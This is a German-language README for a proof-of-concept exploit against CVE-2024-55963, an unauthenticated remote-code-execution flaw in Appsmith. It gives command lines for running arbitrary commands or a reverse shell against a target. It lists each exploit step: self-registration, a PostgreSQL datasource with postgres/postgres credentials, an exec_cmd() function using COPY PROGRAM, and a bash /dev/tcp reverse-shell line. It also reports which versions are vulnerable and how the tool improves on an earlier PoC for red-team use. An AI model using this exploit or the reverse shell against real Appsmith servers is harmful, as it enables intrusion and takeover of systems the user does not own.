
CVE-2024-55963 ermöglicht eine nicht authentifizierte Remote-Codeausführung auf der Appsmith-Enterprise-Plattform aufgrund einer standardmäßig enthaltenen, falsch konfigurierten PostgreSQL-Datenbank.
PoC-Exploit für CVE‑2024‑55963, das beliebige Befehle ausführt oder eine Reverse Shell auf verwundbaren Appsmith-Instanzen startet.
Es behandelt automatisch sowohl moderne Server (mit der environmentId-Funktion) als auch ältere „Legacy“-Builds, die vor dieser Funktion existierten, sodass Sie ein einziges Skript für alle Versionen von v1.20 bis zur letzten verwundbaren Version v1.51 verwenden können.
# Run an arbitrary command (default is `id`)
python3 appsmith-rce.py https://target.example.com [email protected] password123 "whoami"
# spawn a reverse shell
python3 appsmith-rce.py https://target.example.com [email protected] password123 -revshell <ip> <port>
Hinweis: Alle Anmeldedaten funktionieren, solange der Server eine Selbstregistrierung zulässt. Das Skript versucht zuerst, sich anzumelden, und fällt auf die Registrierung zurück, falls das Konto nicht existiert.
/api/v1/environments/workspaces/{id} ab; falls nicht vorhanden, wechselt es in den Legacy-Modus (leere environmentId)./api/v1/applications und extrahiert pageId.localhost:5432 mit den Anmeldedaten postgres/postgres zeigt (erlaubt durch die verwundbare Standard-pg_hba.conf).exec_cmd() sowie eine temporäre Tabelle cmd_output hoch, die STDOUT sammelt.SELECT * FROM exec_cmd('<your cmd>') über den Endpunkt /api/v1/actions/execute ausbash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' ausrequests| Appsmith version | Result |
|---|---|
| 1.51 | ✅ RCE |
| 1.45 | ✅ RCE |
| 1.30 | ✅ RCE, legacy path |
| 1.52+ | ❌ Gepatched – Funktionserstellung schlägt fehl |
Dieser PoC ist eine leichte Verbesserung des Exploits von Rhino Security Labs (mir war nicht bewusst, dass sie bereits einen öffentlichen PoC hatten, als ich die Forschung überprüfte).
Rhinos PoC verwendet statische Header, Cookies und Anmeldedaten. Beim Testen dieses Exploits traten Probleme auf, wenn auf bestimmten Versionen bereits ein Konto existierte. Dieses Skript ermöglicht es dem Benutzer, eine beliebige E-Mail-/Passwort-Kombination über die Befehlszeile einzugeben. Wie erwähnt, wird das CSRF-Token extrahiert, anstatt auf hartcodierte Werte zurückzugreifen.
Environments API-Endpunkt haben.COPY PROGRAM innerhalb des PL/pgSQL-Wrappers exec_cmd() und verwendet die /actions/execute-API, was jedoch lauter ist. Rhino verlässt sich auf den integrierten Schema-Vorschau-Endpunkt, um eine ad-hoc COPY (SELECT …)-Anweisung auszugeben. Dieser Endpunkt kürzt die Ausgabelänge und fügt zusätzliche Zitierregeln hinzu, sodass lange Befehle oder verkettete Payloads schwerer zu übergeben sind.pyfiglet-AbhängigkeitenvironmentId-Headers. Rhinos Exploit nimmt an, dass dieser immer vorhanden ist.Zusammen machen diese Designentscheidungen den Exploit kürzer, zuverlässiger und benutzerfreundlicher für den Einsatz in Red Teams, während sie gleichzeitig dieselbe zugrundeliegende Schwachstelle demonstrieren.
Dieser Code wird nur für Bildungszwecke und autorisierte Tests bereitgestellt. Die Ausführung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben, ist wahrscheinlich illegal. Die Autoren übernehmen keine Haftung für Missbrauch.